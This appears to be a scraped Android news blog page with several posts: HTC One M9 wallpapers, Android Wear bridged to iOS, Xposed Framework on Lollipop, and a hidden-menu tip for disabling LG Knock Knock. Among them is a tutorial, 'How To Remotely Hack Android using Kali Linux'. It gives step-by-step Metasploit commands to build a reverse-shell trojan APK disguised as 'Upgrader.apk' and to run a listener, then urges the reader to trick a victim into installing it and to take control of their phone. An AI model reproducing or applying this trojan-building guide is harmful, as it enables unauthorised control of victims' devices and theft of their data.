Download HTC One M9 Wallpapers!

The HTC One M9 is not here yet but what we got from it are, as usually, wallpapers! They're really nice and have a really big resolution (2160 * 1920) which points us to the fact that the new HTC flagship will feature a qHD display.

An XDA developer made Android Wear compatible with iOS

An XDA developer most of you probably know of, MohammadAG has made Android Wear working with iOS! And how did he do that?

Mohammand used the Apple Notification Center Service, which works as a notification sender to other services and stuff. Pebble watch uses the similar API for this.

See the video demonstration:


The ANCService is at this time limited and have some restrictions. To create this notification bridge between the watch and the phone, you need to install an APK file onto your watch and that's it.

We don't know yet if Mohammad releases the code or not but he'll probably continue and maybe iOS users will have full compatibility with Android Wear before even Google releases it!

You've probably heard of Xposed Framework, the amazing tool that lets you completely customize your system layout and Android system in general without flashing, modyfing system values etc. Xposed Framework has finally gotten onto Android Lollipop platforms but unfortunately not all the modules are fully working now. Some of them cause severe UI lags, some just don't work at all.
Here's a quick list of working Xposed modules on Android Lollipop.

An XDA member amit3880 has set up a nice list showing whether your favourite module will or will not work on Android Lollipop.

  • KeepChat
  • AppOppsXposed
  • Statusbar download progress
  • GravityBox KK
  • Sense 6 toolbox

And more.

Found your favourite there? Well, you'll have to wait some time till all the bugs and issues are resolved and be sure to frequently check the list and main Xposed Framework forum on XDA.

Xposed Framework for Android Lollipop - It's here!

Woho! It's here. Finally, the Xposed Framework for Android Lollipop and the "newly released" ART runtime is here and working!

As the XDA informed, the well-known Xposed Framework which lets you to edit the system and customize loads of stuff including system animations, navigation / system bars and many more, is finally working on Android Lollipop.

The reason it took so long was the "new" ART Runtime for Android, which has been fully used in Android Lollipop. Well, we waited and we're excited to see it's finally here.



We're just a few hours ago from the release so yes, it's currently in Alpha stage and there are some known problems:


- It seems to boot loop on Samsung stock ROMs. I have received a file which I can use to analyse this issue, but it might take some time.

- If everything is working fine, but the app_process version is not displayed, it's just a display error that can be ignored (will be fixed later).


It is recommended to back up your whole system (make a Nandroid backup) before installing the Xposed Framework for Android Lollipop.


Downloads & more info:


First flash the ZIP, then install the APK.

Have fun!

How To Remotely Hack Android using Kali Linux

In this tutorial you'll learn how to hack an Android device using Metasploit running on Kali Linux. Let's hack some!

We'll be creating a little APK file and pushing it over to the victim. When victim installs & eventually opens the file, we'll be able to control his/her device using Zetasploit commands. Easy, peasy!

This is an advanced tutorial, advanced skillz needed!

Step 1 - Launch Kali and make an APK of the trojan virus you'll be sending over to a victim.
You can do so by typing the following command:

msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk

 - Replace LHOST with your own IP adresss.
 - This is meant for LAN pushing, if you're about to hack through WAN (through the net), you'll hav eto use external IP with port forwarding.




Step 2 - Open up another console and load Metasploit console, type msfconsole




Step 3 - After the Metasploit console loads, load the multi-handler by typing use exploit/multi/handler command.



Step 4 - Set up payload by typing set payload android/meterpreter/reverse_tcp to the console.
To set up the host, type: set LHOST 192.168.0.4 (Even if you are hacking on WAN type your private/internal IP here not the public/external)



Step 5 - Exploit. Type exploit to start listener. Copy the upgrader.apk and upload it somewhere. Be creative and let the victim install your virus app on their phone. (The victim must have "unknown sources" checked in case to install apps not from Google Play).


After the victim opens up your app, you can use Meterpreter commands to control the victim's phone. Easy, cheezy.

NO ROOT - Disable "Knock Knock" on your LG device and get more battery life!

I was playing with my G3 and discovered a way to disable the Knock Knock feature which helps the user enable the screen without even touching hardware buttons just by double tapping the screen.
I don't use this feature very often, so I decided to disable it. Guess what, my battery life is now more amazing than ever before!

No, you don't need to be rooted to disable the Knock Knock feature. It's pretty easy. All you need to do is to access the hidden menu on your LG device and simply disable it.

To open up the hidden menu, open your Dialer app all input this number (according to your carrier/version):


  • 3845#*855# (for International model)
  • 3845#*851# (for T-Mobile)
  • 3845#*850# (fot AT&T)
While you type the last digit, the hidden menu will appear. What's next? Scroll down till you see the Knock On/off setting and just disable the function. And viola, here you have it!

I was really surprised when I got 70% with my full day of usage on LTE. I usually end my day at about 50% so it seems to pump up the battery life a bit.

Enjoy!
